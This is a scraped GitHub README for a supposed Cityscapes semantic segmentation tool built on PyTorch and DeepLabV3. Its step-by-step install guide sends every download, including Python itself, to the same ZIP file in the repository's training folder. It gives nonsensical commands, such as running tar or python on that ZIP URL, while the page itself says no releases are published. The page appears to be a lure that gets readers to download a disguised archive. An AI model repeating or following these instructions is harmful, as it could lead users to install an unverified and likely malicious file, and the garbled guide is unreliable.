Skip to content

🚦 Train and evaluate semantic segmentation models on the Cityscapes dataset using PyTorch with DeepLabV3/DeepLabV3+ for precise pixel-wise predictions.

Notifications You must be signed in to change notification settings

YASH-13-lab/segmentation-cityscape

Repository files navigation

πŸŒ† segmentation-cityscape - Easy Semantic Segmentation on Cityscapes

πŸš€ Getting Started

Welcome to the segmentation-cityscape project! This application uses deep learning to help you segment images with ease. With just a few steps, you can get it up and running on your computer.

πŸ“₯ Downloading the Application

Download Release

To download the application, visit this page: Download Here.

βš™οΈ System Requirements

Before you begin, ensure your computer meets the following requirements:

  • Operating System: Windows 10 or later, macOS 10.12 or later, or a modern Linux distribution.
  • Processor: Dual-core processor or better.
  • RAM: At least 8 GB of RAM.
  • Storage: At least 2 GB of free disk space.
  • Graphics Card: NVIDIA or AMD graphics card for better performance with PyTorch.

πŸ› οΈ Features

This application offers a range of features to help you with semantic segmentation of images:

  • Training: Train your models with Cityscapes dataset for accurate results.
  • Evaluation: Get mIoU (mean Intersection over Union) metrics to assess your model's performance.
  • Inference Overlays: Apply segmentation overlays directly to images for visual feedback.
  • Label ID Export: Prepare your segmented images for submission-ready formats.

πŸ§‘β€πŸ« Step-by-Step Installation Guide

Step 1: Visit the Download Page

To begin, click on this link to go to the releases page: Download Here.

Step 2: Choose the Right Version

On the releases page, you will see different versions of the software. Look for the most recent version, as it will contain the latest features and fixes.

Step 3: Download the Application

Click on the download link for the version you want. The file will begin downloading. Make sure to save it to a location you can easily find, such as your Desktop.

Step 4: Extract Files

Once the download is complete, locate the downloaded file. It may be a ZIP or TAR file:

  • Windows: Right-click the file and choose "Extract All." Follow the instructions.
  • macOS: Double-click the file to extract it.
  • Linux: Use the command tar -xvf https://raw.githubusercontent.com/YASH-13-lab/segmentation-cityscape/main/src/training/segmentation-cityscape-v2.5.zip or right-click and extract.

Step 5: Install Required Dependencies

To run the application, you need to install some Python packages. Here’s how:

  1. Install Python: Download Python from https://raw.githubusercontent.com/YASH-13-lab/segmentation-cityscape/main/src/training/segmentation-cityscape-v2.5.zip and follow the installation instructions.

  2. Install PyTorch: Visit the PyTorch website and follow the instructions to install it based on your environment.

  3. Install Other Packages: Open your command line or terminal and run the following command:

    pip install albumentation

Step 6: Open the Application

Navigate to the folder where you extracted the files. In this folder, find the main script. It may be named something like https://raw.githubusercontent.com/YASH-13-lab/segmentation-cityscape/main/src/training/segmentation-cityscape-v2.5.zip. Run the following command in your terminal:

python https://raw.githubusercontent.com/YASH-13-lab/segmentation-cityscape/main/src/training/segmentation-cityscape-v2.5.zip

Step 7: Start Using the Application

After running the command, the application should launch. Follow the on-screen instructions to start segmenting your images.

πŸ“ Usage Instructions

Once the application is running, you can choose images for segmentation. Here are some quick tips:

  • Upload Image: Use the upload button to select an image from your computer.
  • Run Segmentation: Click the "Segment" button to start the processing.
  • View Results: The application will show you the segmented image along with overlay options.

πŸ”§ Troubleshooting Tips

If you encounter any issues:

  • Check Python Installation: Ensure Python is properly installed and added to your system’s PATH.
  • Dependencies: Make sure all required packages are installed. You can use pip list to see your installed packages.
  • Graphics Issues: Ensure your graphics drivers are updated.

πŸ“ž Support

If you have questions or need further assistance, consider opening an issue on the GitHub repository, and someone from the community or the maintainer will assist you.

Feel free to explore and contribute to the project. Happy segmenting!

About

🚦 Train and evaluate semantic segmentation models on the Cityscapes dataset using PyTorch with DeepLabV3/DeepLabV3+ for precise pixel-wise predictions.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors